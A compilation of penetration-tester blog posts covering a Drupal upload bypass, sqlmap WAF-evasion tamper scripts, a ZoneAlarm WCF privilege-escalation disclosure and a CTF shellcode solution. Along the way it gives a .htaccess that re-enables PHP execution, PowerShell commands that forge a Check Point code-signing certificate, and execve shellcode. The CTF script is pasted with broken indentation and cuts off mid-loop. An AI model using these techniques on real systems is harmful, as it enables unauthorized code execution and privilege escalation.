On a recent engagement I encountered a drupal site which allowed for some interesting file uploads. The first file upload form had a whitelist of allowed extensions which I was not able to bypass. The second accepted archive formats including tar, zip, and bz2. It would extract the archive and place in the contents into the /files directory of the drupal site.

The file extension whitelist was not applied to extracted files and it was also possible to include subfolders which structure would be maintained. This meant I was able to include .php files and put them in their own subdirectory. There was a problem though, which is that in drupal the /files directory contains a .htaccess file with the following contents:

# Turn off all options we don't need.
Options None
Options +FollowSymLinks

# Set the catch-all handler to prevent scripts from being executed.
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  # Override the handler again if we're run later in the evaluation list.
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

# If we know how to do it safely, disable the PHP engine entirely.
<IfModule mod_php5.c>
  php_flag engine off

This post explains that SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006 sets a non-existant execution handler so that php code inside this folder will not run. Additionally it sets php_flag engine off which should also prevent php code execution.

To get around this and get my php code to run I included a .htaccess file in the zip archive which did successfully get extracted, but for some reason a lot of the things I tried in order to enable php did not work. I wanted to share the working .htaccess for my future self and everyone else as a reference for what to do when in this kind of situation. The answer came from here:

php_flag engine 1
<FilesMatch "\.(php5?|html|phtml|php)$">
  SetHandler application/x-httpd-php
</FilesMatch>

In my time as a pen tester sqlmap has been an extremely valuable tool. Miroslav Stampar deserves a big salute for creating and maintaining sqlmap. THANK YOU!! So in this post I’m going to talk about a few situations where sqlmap was not working out of the box for one reason or another, and how I was able to work around it.

Sleep Amplification

First up is a time based MySQL injection vulnerability where the sleep time is amplified heavily. I’ve seen this before, where the sleep time gets multipled by 2 or maybe some more. In this example the sleep time is multiplied by about 18,000 :). The following screenshot shows the application sleeping for 18 seconds when we tell it to sleep for .001 seconds, this is a consistent result:

sqlmap actually could deal with this on its own, but the speed was not even close to optimal. My solution (before I knew how easy it was to create tamper scripts) was to proxy sqlmap to burp and do a find and replace within burp. I would search for the string sleep( and replace it with the string sleep(.000 this way when sqlmap tries to sleep(1) it will end up doing sleep(.0001) and because of the sleep amplification this will end up sleeping much closer to the amount of time sqlmap is actually expecting.

It’s much easier to do this with a tamper script than with burp. I forget how, but one day I ended up opening /usr/share/sqlmap/tamper/apostrophenullencode.py on my kali linux system. This tamper script does a simple find and replace so it’s a perfect example to work from. Since I never remember where the tamper scripts are supposed to live, whenever I need one I just do a locate nullencode and then just make a copy of the file to edit as my new tamper script.

So here I give you sleepfuck.py:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces 'sleep(' with 'sleep(.000' to deal with injections that amplify the sleep time. 
	Try adjusting the number of decimal places as needed.

    console# tamper("sleep(1)")
    'sleep(.0001)'
    """
	
    return payload.replace('SLEEP(', "SLEEP(.000") if payload else payload

False Negative

Next is an issue where sqlmap was failing to detect a valid MySQL injection issue. It would initially report it as being OR boolean-based blind - WHERE or HAVING clause (NOT) vulnerable which was accurate, but would then end up reporting it as a false positive or unexploitable which was totally incorrect.

As always, when sqlmap is giving me issues I crank the verbosity to 4 and start looking at what it’s doing. Here’s what it looks like right before it decides that the injection point is unexploitable:

Next I opened a MySQL terminal to check if this was valid syntax:

As I suspected this is invalid syntax. After consulting with my collegue Dark12, we concluded (though not with complete certainty) that the reason sqlmap called this unexploitable was because the false condition and the invalid syntax condition had the exact same response length. Our solution was to proxy sqlmap through burp while it was doing it’s false positive checks and modify the response length (by adding garbage to the response) when it was doing it’s invalid syntax testing. This worked, and it got through the final stages of validation. From there  I was able to dump data without having to do any funny business with burp and there were no issues. I imagine that there may be some cases where burp needs to know if it did invalid syntax, (maybe when trying to fingerprint the dbms?) but for this scenario dumping data worked like a charm even though we fudged the invalid syntax results during sqlmap’s initial testing.

WAF Bypass

The last scenario I want to mention in this post is a WAF bypass. The vector was once again boolean based blind MySQL injection. The first issue I encountered was that the ORD() function was blocked. ORD() takes a string as input and returns the character code for whatever the leftmost character of that string happens to be. I noticed however, that the ASCII() keyword was not blocked. ASCII() does the same thing as ORD(), but only operates on ASCII characters, whereas ORD() will work on binary data as well as ASCII. As long as I was dumping text this most likely not going to be an issue, so quickly I created ord2ascii.py, which is the same find and replace script shown above, but swapping ORD( for ASCII(. This was good enough for me to be able to dump the current database user, but as I tried making more complex queries (trying to retrieve user credential info), I started hitting the WAF again.

So in my continued efforts to beat the WAF I discovered the space2hash tamper script, which is built in to kali. The script simply takes a space and replaces it with %23RandomString%0a where of course, %23 is a # and %0a is a newline (\n). Here you can see the relevant code:

#!/usr/bin/env python

...

    # random.seed(0)
    # tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

I noticed that space2hash was helping me around some parts of the WAF, but wasn’t quite good enough. At some point I tried doing ORD(%23RandomString%0aSTRING)which was simulating the process of adding a space to the inside of the ORD() function argument and then running the space2hash tamper script. This prompted me to create parenspace.py (parenthesis + space) which, in combination with space2hash, allowed me to completely bypass the WAF. The code for parenspace is another simple search and replace, except it’s looking for ( and which gets replaced with . Note, when combining these scripts it’s important for the parenspace to run before space2hash runs.

With those two tamper scripts together, a query like this:

ends up looking like this:

That’s it for now. Hope this helps someone! This is just a sampling of some of the weird things I’ve had to do with sqlamp recently. Over the years there have been quite a few interesting challenges. I’ll do my best to continue documenting them as I go forward.

Continuing with my WCF vulnerability research I was recently taking a look at “Microsoft.Exchange.Directory.TopologyService.exe” which is part of Exchange server and exposes a WCF endpoint over a NetTcpBinding.

Client code can usually be found in the install path of a service and is generally a lot easier to use vs. building a client from scratch. After analyzing the service for a bit I was able to find client code in one of the DLLs. There was a problem though, which is that the class I wanted to use, “TopologyServiceClient”, was marked with the access modifier “internal”. This means that the class can only be accessed from within the assembly where it is defined. In other words, I could not import the assembly into my own project and use the internal classes.

To work around this I first tried copy pasting the code that I needed into my project…due the many layers of abstraction this wasn’t going to work. Another thing I tried was decompiling the assembly, changing the access modifiers, and then rebuilding…also wasn’t going to work. One more idea was to use the assembly editor in dnSpy to make the changes, but because of the nested classes with various levels of scoping it wasn’t enough to just change the access modifier for one class or even one method, and changing them all by hand would take way too long. Determined to use these classes, I eventually stumbled on dnlib, from the maker of dnSpy. dnlib is described simply as a ” .NET module/assembly reader/writer library”. Using a shotgun approach, I was able to use it to loop through all the classes and methods, change the access modifier from “internal” or “private” to “public” and save the modified assembly without rebuilding it, essentially patching it.

After doing this I was able to import the modified assembly, create the client object and interact with the service. Regretfully, the service requires admin credz in order to connect. Even worse, I believe that if non-admin credz could be used, none of the behavior would be exploitable anyway (not 100% sure though).

Regardless, I wanted to share the code and also use this as a reminder for myself, as I have a feeling it will be useful again in the future and I didn’t see any examples online of people doing this.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using dnlib.DotNet;
using dnlib.DotNet.Emit;

namespace CecilTest {
    class Program {
        static void Main(string[] args) {

            string libDir = @"C:\lib";
            string destDir = @"C:\modded-lib\";
            //var files = Directory.EnumerateFiles(libDir, "*.dll");
            var files = Directory.EnumerateFiles(libDir, "Microsoft.Exchange.Data.Directory.dll");
            foreach (string file in files) {
                Console.WriteLine(string.Format("[+] Analyzing {0}", file));
                using (ModuleDefMD mod = ModuleDefMD.Load(file)) {
                    foreach (var type in mod.GetTypes()) {
                        if (type.IsNotPublic &amp;&amp; !type.Attributes.HasFlag(TypeAttributes.Abstract)) {
                            type.Attributes |= TypeAttributes.Public;
                            foreach (var method in type.Methods) {
                                if (type.FullName.ToLower().Contains("topologyserviceclient")) {
                                    if (method.Attributes.HasFlag(MethodAttributes.Private)) {
                                        method.Attributes ^= MethodAttributes.Private;
                                        method.Attributes |= MethodAttributes.Public;
                                    }
                                    if (method.Attributes.HasFlag(MethodAttributes.PrivateScope)) {
                                        method.Attributes ^= MethodAttributes.PrivateScope;
                                    }
                                }
                                method.Attributes |= MethodAttributes.Public;
                            }
                            foreach (var field in type.Fields) {
                                //field.Attributes |= FieldAttributes.Public;
                            }
                            foreach (var nest in type.NestedTypes) {
                                //nest.Attributes |= TypeAttributes.Public;
                            }
                            
                        }
                    }
                    string destFile = destDir + Path.GetFileName(file);
                        mod.Write(destFile);
                        Console.WriteLine(string.Format("[+] Outputting to: {0}", destFile));
                }
            }
        }
    }
}

And here is what the modified class looks like when decompiled:

TL;DR

A previous version of Check Point’s ZoneAlarm antivirus and firewall product exposes a WCF interface which could be abused by low privilege users to trigger the execution of an update binary as SYSTEM. The issue has been disclosed by Check Point here. The exploitable WCF method takes the full path to the update binary as an argument which can be specified by the caller. The service attempts to prevent unauthorized processes from interacting with it by checking that any WCF clients are signed by Check Point. This can bypassed via DLL injection into a signed process or by simply signing the client (exploit code) with self-signed cert, which low priv users can trust on Windows. The service also only allows the execution of signed update binaries, but this can also be bypassed by either DLL hijacking a legitimately signed binary or again, with a self-signed certificate.

 

My friend Fabius Watson (@FabiusArtrel) recently gave what I consider to be a groundbreaking talk on abusing WCF endpoints. In 2018 he got a number of CVEs for privilege escalation and remote code execution in various commercial products which employed .NET based WCF services. Here are a few of them:

CVE-2018-13101 – KioskSimpleService Local Privilege Escalation

CVE-2018-10169 – Proton VPN Local Privilege Escalation

CVE-2018-10170 – NordVPN Local Privilege Escalation

CVE-2018-10190 – Private Internet Access Local Privilege Escalation

After reviewing the slides from his awesome talk at ekoparty 2018 I decided to go bug hunting. My first foray, looking into a ZoneAlarm by Check Point (a commercial antivirus product), was a success and a lot fun. So, with this post, I’d like to share my experience learning this bug class and writing a working exploit.

The first order of business was to install the software which is freely available at https://www.zonealarm.com/software/free-antivirus/. I have also made a vulnerable version of the software available here. After the ZoneAlarm tray pops up and seems to be running the installer is actually still going and there are services that will take some time to appear (maybe 30 minutes or more, sometimes less).

Once the install is truly complete, a python script created by @FabiusArtrel can be used to help quickly identify any services which may be vulnerable. The tool enumerates all services which meet the following criteria:

  • Running as LocalSystem (NT AUTHORITY\SYSTEM)
  • Service binary is a .NET application

Within the script a WMIC query is used to identify all services running as SYSTEM. Then the python module “pefile” is used to check if the service binary has mscoree.dll in the import table. All .NET applications depend on this library. Here’s what it looks like when run on a vulnerable system:

Process Explorer can also be used to help identify these type of services by going to Options > Configure Colors > .NET Process

So, with some candidate services to look at the next thing to do is open them up in dnSpy, an awesome .NET decompiler. Although there are many .NET services running they may not all be using WCF. All WCF services depend on System.ServiceModel, so right away we can check for a reference to this assembly. Only one of the ZoneAlarm services (SBACipollaSrvHost.exe) references this:

Great, so now that we know there is a WCF service running as SYSTEM we can check to see if it exposes any methods which might be exploitable. In some cases there will be methods which literally take a command to run as input, this results in a really easy win. In other cases, it may not be as direct. It’s also possible that the service exposes no methods which can be abused for code execution by any means.

After trolling the source code one method caught my eye called OnCommandReceived. After tracing the series of calls that this method makes I determined that it was used to execute an installer binary in a method called ExecuteInstaller which looks like this:

After seeing the name of the method, and that it was used to spawn new processes, I actually didn’t take the time to notice that it only launches checkpoint-signed binaries (see line 224). Instead I moved straight to figuring out how to talk to the WCF service so that I could try triggering this functionality. So next on my list of things to do was to learn more about the service. In the SBACipolla class we can see that two named-pipe service endpoints are created, Cipolla and CipollaRoot. WCF services can operate over a variety of transport protocols. If HTTP or TCP protocols are used it may be possible to exploit the service remotely. In this case it’s using named-pipes, so local privilege escalation will be the only angle available:

The service endpoints also have a custom AddSecureWcfBehavior method called on them, a harbinger that there may be some attempt by the developers to lock down these services.

After seeing this, I used a tool called IO Ninja to sniff on the named-pipes. I turned it on then attempted to update ZoneAlarm multiple times, hoping to see some action on the pipe which might help me better understand what was going on, but nothing ever came across. Since there was no luck to be had with that angle I turned to trying to find a legitimate WCF client to connect to this service with. Eventually I stumbled on SBAStub.dll (found in the same folder as the service binary: C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla) which has a method called SetUpWCFConnection that connects to the CipollaRoot named-pipe, and another method called SendCommand which sounded really nice 🙂

To test this out I created a new C# Console App project in visual studio and added a reference to System.ServiceModel to the project (necessary for WCF):

A reference to SBAStub.dll was also needed. Because I wasn’t sure if there would be a dependency chain within this library, I added references to pretty much all the DLLs in the same folder as a shotgun approach to ensure everything would work:

To test this out I started by creating a new SBAStub object and then let intellisense within Visual Studio let me know which methods were available on that object:

I tried calling RegisterSBAStub because it took a simple string as an argument and because when it works the registration is logged in C:\ProgramData\CheckPoint\Logs\Cipolla.log. Seeing a log entry as a result of my code running would let me know that I was successfully interacting with the service. Of course, after running this code nothing showed up in the logs. My attempt at troubleshooting looked like this:

  • Attach to the SBACipollaSrvHost.exe process with dnSpy (running as admin)
  • Hit “Break All” (the pause button)
  • Run the client code
  • Single Step

This was a failing strategy. Every time I would step (whether it was over, into, or out of) my client code would just finish running and I wouldn’t see any action in the debugger before landing back here:

This was the same line of code I was on when I initially paused execution -_-

After spending a lot of time browsing the source I ended up finding a location which seemed like a good break point. It was inside of WcfSecuredHelper.dll around the point where the named-pipe server starts listening for connections:

I tried adding a break point on the if statement on line 63, attaching, then running my code. Sure enough, the service was throwing an exception “Unauthorized access detected”. On lines 50 and 51 the filename of the process attempting to connect to the name pipe is stored in the fileName variable. On lines 56-58 it checks to see if the program is signed with a valid certificate, and stores the “Common Name” (CN) portion of the certificate in the text variable. The if statement on line 63 checks to see if the CN starts with “Check Point Software Technologies”. Since the client code that we have written is not signed it is going to fail this check which is why we aren’t seeing the SBA Stub get registered in the logs.

From here my thought was to inject this client code into a legitimate checkpoint-signed binary. My first approach to achieving this was by getting a meterpreter shell on the system, migrating the session into a CheckPoint process, then using execute -m (execute from memory) to run my client code. Unfortunately, I never had success getting execution from memory to work in metasploit, even when trying to run standard binaries (rather than .NET binaries). After some googling I found a project on github called SharpNeedle that facilitates the injection of .NET code into any x86 process. Within the C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla” directory I found a legitimately signed program called ZAAR.exe which I could start up and then inject code into. The following is just a PoC of the code injection:

Great so with that working we now have a way to connect to the named pipe and can try registering a stub again. Here’s the code:

And here we see the stub registration was reflected in the log file this time (C:\ProgramData\CheckPoint\Logs\Cipolla.log):

Very sick! The next thing to do was to start playing with the SendCommand method of the SBAStub object. So, when calling SendCommand (which takes a string of XML called CommandXML), the arguments are eventually passed to a function called ExecuteInstaller which I’ll show again here:

On lines 204-211 the CommandXML is deserialized into a RunInstallerPackageCommand object which is a custom class defined in the service binary. The class has three fields, (string) InstallerPackagePath, (string) InstallerPackageArguments, and another custom class (SBAMessageInfo) MessageInfo. The most interesting field is the InstallerPackagePath because that is used to start a process in the context of the service which is running as SYSTEM.

On line 224 we can see there is a check to verify that the program pointed to by InstallerPackagePath is signed by Check Point.

Lines 231-232 load the arguments into a Process object which is then then started on line 235.

Great! We can start any Check Point signed binary as SYSTEM.

You may be wondering at this point how this can be exploited for arbitrary privileged code execution. One way is with a simple DLL hijack. I again turned to zaar.exe as a dummy signed binary that would help facilitate exploitation. I loaded up Process Monitor with the following filters:

Then launched C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla\zaar.exe:

As shown outlined above ZAAR.exe attempts to load a file called version.dll in the current directory but it’s not found. This means if a malicious version.dll was placed in the same directory as ZAAR.exe it would be executed. Since we’re operating a low privilege user we can place a file in the C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla\ directory, but since we control the full path to the update binary that gets executed by the service we can simply copy this to an arbitrary folder like temp and then place a DLL alongside it called version.dll with any payload we like. Here’s the end result:

You can see that zaar.exe was launched as a SYSTEM process as a child of the SBACipollaSrvHost process, and it has two children, calc.exe, also running as SYSTEM.

Once I got to this point I contacted Check Point to disclose the issue. They came back and said that the PoC didn’t work when the antivirus is enabled…whoops! All this time I forgot that in order to make testing easier I had disabled the AV. There are a few features about ZoneAlarm that can be configured an admin on the system, one in particular is “Application Control” which, when enabled, will block dll injection into the zaar.exe process that was needed to talk to the service. It also kept removing the version.dll from disk that was being used to launch calc. Damn!

To deal with this, I spent quite a while trying to find alternative means of DLL injection which would not be blocked by the AV, but all attempts were failed. Instead I ended up taking a totally different approach. This great article by Matt Graeber of SpecterOps describes a powershell cmdlet which makes it easy for low privilege users to sign code with a self-signed certificate and have the OS trust the certificate. Using this technique we sign the exploit code so that it’s possible to talk to the WCF service without injecting into another process. Additionally, we’ll be able to sign our payload which will be launched by the service and since this will be an ordinary executable it won’t be removed by the AV. The process looks like this:

$cert = New-SelfSignedCertificate -certstorelocation cert:\CurrentUser\my -dnsname checkpoint.com -Subject "CN=Check Point Software Technologies Ltd." -Type CodeSigningCert
Export-Certificate -Type CERT -FilePath c:\tmp\MSKernel32Root_Cloned.cer -Cert $cert
Import-Certificate -FilePath c:\tmp\MSKernel32Root_Cloned.cer -CertStoreLocation Cert:\CurrentUser\Root\
Set-AuthenticodeSignature -Certificate $cert -FilePath c:\tmp\exploit.exe
Set-AuthenticodeSignature -Certificate $cert -FilePath c:\tmp\payload.exe

After signing the both these files and running the exploit arbitrary privileged code execution will take place with all AV features enabled 🙂

About a yer ago my friend/coworker and I started a monthly hacker meet up called The Dark Corner (https://www.meetup.com/The-Dark-Corner). At the meet up I met a bug hunter named Mike (https://twitter.com/taksec). A few months ago he helped renew my interest in bug bounties which had waned after all my submissions to both bugcrowd and hackerone turned out to be duplicates. This included an issue where it was possible to read arbitrary files as the root user on of the servers (https://hackerone.com/reports/130661).

Mike let me know about the self managed public bug bounty program for Alibaba, on which he had already been rewarded for some pretty severe issues. He was kind enough to share with me some of his recon which included a nice set of domains to get started looking at. Alibaba doesn’t publish a scope but basically all their business units are in scope, which according to one email the security team sent me consists of 100+ domains.

I found my first bug pretty quickly. Another dupe!!! I was definitely ready to swear off bug bounties for good at this point! However, getting to see Mike’s experience with the program first hand, and having his encouragement I kept looking. That would be last dupe.

Since February I have had exactly 66 reports accepted by Alibaba and risen to the #1 spot on the scoreboard. This experience has been a lot of fun and very rewarding, not only monetarily, but in terms of helping me become a better hacker.

So with all that said I want give a big thanks to Mike, Fabius, Luis, Allen, Illumant (https://www.illumant.com), and everyone who has given me support and guidance getting to this point.

https://security.alibaba.com

 

Have you ever wanted to be on the same network segment as a remote computer that you aren’t on the same segment as :p?? Well you can be, with the magic of connect back VPN tunneling!

Without any further ado, here’s my how-to guide.

Server Config

1. Install OpenVPN Access Server on an internet facing system, some sort of VPS will do nicely.

2. Log in to the management interface, which listens on port 943 https://example.com:943/admin/

3. Go to “VPN Settings” (https://example.com:943/admin/vpn_settings) and take note of the “Network Address” value. This is the one network you will not be able to use the tunnel to connect to due to it already being used up by the VPN. I have chosen an address in 172.16.0.0/12 address space because in my experience it is less commonly used on client networks compared to 10.0.0.0/8 or 192.168.0.0/16 address space. To date, I have not had a collision of address space.

4. Go to “User Permissions” (https://example.com:943/admin/user_permissions) and create a user which will be used to connect to the VPN from the remote site (the place that you want to be on same segment as, but from your home)

5. In the “More Settings” column for this user click “Show”. Set “Allow Access To these Networks” and “Allow client to act as VPN gateway
for these client-side subnets” as shown:

Here it is in text format in case anyone wants to copy/paste:

10.0.0.0/8
192.168.0.0/16
172.16.0.0/16
172.17.0.0/16
172.18.0.0/16
172.19.0.0/16
172.20.0.0/16
172.21.0.0/16
172.22.0.0/16
172.23.0.0/16
172.24.0.0/16
172.25.0.0/16
172.26.0.0/16
172.28.0.0/16
172.29.0.0/16
172.30.0.0/16
172.31.0.0/16

Note that these are all the networks except for the network used by the VPN itself (172.27.0.0/16 in my case). This means that the user we are modifying and route traffic for these networks.

6. Make sure to save your settings, this is it for server set up.

Client Config

1. From your local machine, connect to the VPN as a normal user, not the user that was just configured to do forwarding.

2. On the remote machine connect as the forwarding user that we just set up.

3. Now for the fun part, and the reason I wrote this post. After connecting as the forwarding user we need to actually configure the machine to act as a NAT point. I’ve only found a couple people on the internet talking about how to do this. Namely, the guys at Offensive Security and Hak5. Here’s the material they published that helped me get started:

Unfortunately for me when trying to follow their guides I wasn’t ever able to get it completely working. The trick for me was to set a lower priority metric on the VPN gateway, and set a higher priority on the remote machines local default gateway.

<vpn-network-address> – The network address of the VPN (see step 3 in server config). Mine is 172.127.224.0/24.

<bridged-inteface> – Interface name of a bridged adapter that has an IP on the network you’re trying to tunnel to

<local-gateway> – The non-VPN default gateway for the remote machine, the one that we will be tunneling through

<vpn-gateway> – The VPN default gateway. In my case this is 172.27.224.1 since my network address is 172.127.224.0

# enable ip forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward 
# create NAT point
iptables -t nat -A POSTROUTING -s <vpn-network-address> -o <bridged-interface> -j MASQUERADE 
# remove the route for the VPN gateway
route del -net 0.0.0.0/1 gw <vpn-gateway>            
# add it back but with a lower priority metric
route add -net 0.0.0.0/1 gw <vpn-gateway> metric 200 
# for all the networks we want reach through the tunnel
# set the gateway to be the local gateway with a metric of 0
# This is the highest priority metric and will take priority over the vpn gateway
route add -net 10.0.0.0/8 gw <local-gateway> metric 0
route add -net 192.168.0.0/16 gw <local-gateway> metric 0
route add -net 172.16.0.0/16 gw <local-gateway> metric 0
route add -net 172.17.0.0/16 gw <local-gateway> metric 0
route add -net 172.18.0.0/16 gw <local-gateway> metric 0
route add -net 172.19.0.0/16 gw <local-gateway> metric 0
route add -net 172.20.0.0/16 gw <local-gateway> metric 0
route add -net 172.21.0.0/16 gw <local-gateway> metric 0
route add -net 172.22.0.0/16 gw <local-gateway> metric 0
route add -net 172.23.0.0/16 gw <local-gateway> metric 0
route add -net 172.24.0.0/16 gw <local-gateway> metric 0
route add -net 172.25.0.0/16 gw <local-gateway> metric 0
route add -net 172.26.0.0/16 gw <local-gateway> metric 0
route add -net 172.28.0.0/16 gw <local-gateway> metric 0
route add -net 172.29.0.0/16 gw <local-gateway> metric 0
route add -net 172.30.0.0/16 gw <local-gateway> metric 0
route add -net 172.31.0.0/16 gw <local-gateway> metric 0

Voila! If all went well the tunnel should be working now.

Troubleshooting

Ever since I figured out the issue of decreasing the priority on the route of VPN gateway this set up works for me first 99% of the time. Alas, sometimes there are problems.

Often times when there is an issue packets are making it to the forwarding host, but they don’t get routed properly from there. Whenever I’m having problems with my VPN tunnel the first thing I do is fire up tcmp dump like so:

tcpdump -nni any icmp

This just says to listen on all interfaces for ICMP packets, and to not resolve IP addresses or port numbers. The next thing I’ll do is from my local machine try to ping one of the internal IPs that I want to tunnel to. I was having an issue recently and started troubleshooting in just this very way. Here’s what I saw:

So I could see the forwarding host was successfully receiving the packets from my local machine over the VPN connection, and was forwarding them to the correct target IP. At first I thought maybe something went wrong with the NAT configuration, since the packets were being sent out but not coming back. I tried redoing my whole set up but was faced with the same problem. Then I realized the ping packets I was sending out were being duplicated by the forwarding host, as I have outlined above. For every 1 ICMP echo request I was sending from my local machine, 2 were being sent by the forwarding host. I’m not sure why this was happening, but there were 3 bridged interfaces on this virtual machine, all with valid IPs. I disabled all but the one I had specifically configured as the NAT interface and things started working again.

If memory serves I have done this before with multiple bridged interfaces and haven’t had a problem but anyway, having just one did the trick in this case.

Hope this helps somebody out there. Please leave comments with questions or suggestions.

Last month was BSidesSF 2018. This was my first BSides and I’ll say I thought the con was really well done. The location was cool, the vendor area had plenty of free goodies, and the CTF was a lot of fun. There were quite a few people from Dark Corner which was awesome to see. A group of us spent a large portion of time at the conference playing the CTF and our team finished in 7th out of abobut 145 teams! This post is going to cover my solution for one of the 666 point challenges called goribble.c.

Our goal is to “exploit” this program to read the /home/ctf/flag.txt file on the ctf server. The code is meant to be compiled into a 32 bit ELF binary and even though NX is enabled the -fno-stack-protector flag is used to make the stack executable:

Upon execution it turns about to be a game where you manually enter a power and angle value and then a launch something (a potato?) and see where it lands.

The nibble you land on is a nibble of shellcode that will be stored and executed when you finally miss shot by not landing on any nibble. After every turn the layout of nibbles is randomly altered and a wind factor is applied which must be taken into consideration when firing the potato.

The first order of business was to construct a shellcode that would get the job done. I headed over to shell-storm.org knowing that they would have something for me. This one would get the job done, the only change required to change the argument to the cat command to /home/ctf/flag.txt instead of /etc/passwd.


#include &lt;stdio.h&gt;

const char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx

/* pushes /etc/passwd onto the stack
* we don't want/need this
*"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
*"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
*"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
*/

// pushes ///home/ctf/flag.txt onto the stack
"\x68\x2e\x74\x78\x74" // push ".txt"
"\x68\x66\x6c\x61\x67" // push "flag"
"\x68\x63\x74\x66\x2f" // push "ctf/"
"\x68\x6f\x6d\x65\x2f" // push "ome/"
"\x68\x2f\x2f\x2f\x68" // push "///h"

"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}

I created /home/ctf/flag.txt on my local system and tested the shellcode which worked like a charm.

At first I very foolishly attempted to win by actually playing the game. I took shots repeatedly and figured out power/angle values that would get me on the nibble I wanted most of the time. At this time I was hoping the wind factor could be ignored. Once I finally had values mapped out for each value I set out to actually start building my shellcode but realized that although they got me where I wanted most of the time that wasn’t going to be good enough. This was going to have to be automated.

I was a little intimidated about having to interact with this program through screen scraping but this actually turned out to be incredibly easy thanks to a python module called pexpect. The first step in this process was to create a would scrape the nibble values into a list, this way we could know which position we needed to aim for. After I knew which position to hit it was necessary to calculate the power/angle values that would get the potato there. I decided to work smarter lazier and basically copy paste the code from the game that determines where the potato will land into a function in python. I added the code to scrape the game for the wind value, then with the wind taken into consideration I could brute force the necessary power and angle values by incrementing them until the potato landed in the right spot.

This approach worked and we were able to get the points for this challenge! Here I’ll share my full solution which is not cleaned up in any way, and even still contains the hard coded values from my initial futile attempt at solving the challenge.


import pexpect
import logging
import math
import time

logging.basicConfig(filename='fake-log.txt',level=logging.DEBUG)
logging.FileHandler('fake-log.txt', mode='w')
logging.debug('This message should go to the log file')

# power = ("100", "100", "150", "250", "230", "290", "320", "340", "340", "375", "375", "425", "395", "450", "500", "525")
# angle = ("10", "30", "20", "10", "13", "10", "10", "10", "11", "10", "12", "10", "12", "10", "8", "8")
shellcode = "31c09952682f636174682f62696e89e352682e74787468666c6167686374662f686f6d652f682f2f2f6889e1b00b52515389e1cd80"

def getNibbles(nibbles):
split = 8 # number of chars between each nibble
count = 0
nibblePositions = list()
for i in nibbles:
count += 1
#print "count: {}, nibble: {}".format(count, nibbles[count:count+1])
if count % split == 0:
nibblePositions.append(nibbles[count:count+1])
#print "nibble is: " + nibbles[count:count+1]
return nibblePositions

def rad(x):
#x = int(x)
return (x * 3.1415926 / 180)

def frange(start, end, step):
tmp = start
while(tmp &lt; end):
yield tmp
tmp += step

def shoot(wind, power, angle):
 wind = float(wind)
 power = int(power)
 angle = int(angle)
 BOARD_WIDTH = 136
 BOARD_HEIGHT = 64
 PRIZE_COUNT = 16
 MAX_WIND = 200
 GRAVITY = (-9.8)
 SCALE = (5000 / 80)
 TIME_SCALE = (0.4) 
 PRIZE_COUNT = 16

 v0_v = math.sin(rad(angle)) * power
 v0_h = math.cos(rad(angle)) * power

 for t in frange(0, 10000, TIME_SCALE):
  #print t
  p_v = (((0.5 * t**2 * GRAVITY) + (t * v0_v)) / SCALE)
  p_h = (((0.5 * t**2 * (wind / 50)) + (t * v0_h)) / SCALE) + 4
  if p_v &lt; 0:
   result = int((p_h / 8) - 1)
  if (result &lt; 0 or result &gt;= PRIZE_COUNT):
   return -1
 return result # the position that we hit

def getPowerAngle(wind, position):
 start = time.time()
 for power in range(100, 1000):
  for angle in range(10, 360):
   hit = shoot(wind, power, angle)
   if hit == position: # we found a winning combo
    end = time.time()
   print "calculated power/angle in {} seconds".format(end - start)
 return (power, angle)

#print "test is: " + child.after[2:-2]
"""U | 0 | 1 | b | 5 | 2 | 9 | f | 4 | a | 3 | d | 7 | 6 | e | c | 8 |"""
while True:
 code = "" #the code we're building

 logging.debug("(re)starting goribble")
 print "(re)starting goribble"
 child = pexpect.spawn ('./goribble')

 for i in shellcode:
  needed = i # the nibble that we need to grab
  wind = ""
  hit = "" # the nibble that we actually hit

  child.expect("Wind.*")
  wind = child.after
  logging.debug("unparsed wind is: " + wind)
  wind = float(wind[6:(wind.find('.') + 6)])
  logging.debug("wind is: " + str(wind))

  logging.debug("need nibble is: " + i)

  child.expect("YOU.*Y") # regex to get the nibbles
  logging.debug("nibbles is: " + child.after[5:-2])

  nibbles = child.after[1:-2] # the nibbles as printed out by the game
  nibbles = getNibbles(nibbles) # parsing the games nibbles into our own list
  position = nibbles.index(needed) # find the position in our list of the needed nibble
  logging.debug("needed position is: {}".format(position))

  # now that we know the wind, and needed position
  # we can proceed to bf the needed power/angle
  powerAngle = getPowerAngle(wind, position)
  power = powerAngle[0] + 2
  angle = powerAngle[1]

  child.expect("Power ")
  #child.sendline(str(int(power[position]) - (wind/10))) # send the power value that corresponds witht he nibble position
  child.sendline(str(power))
  logging.debug("power = {}".format( power))

  child.expect("Angle ")
  #child.sendline(angle[position])
  child.sendline(str(angle))
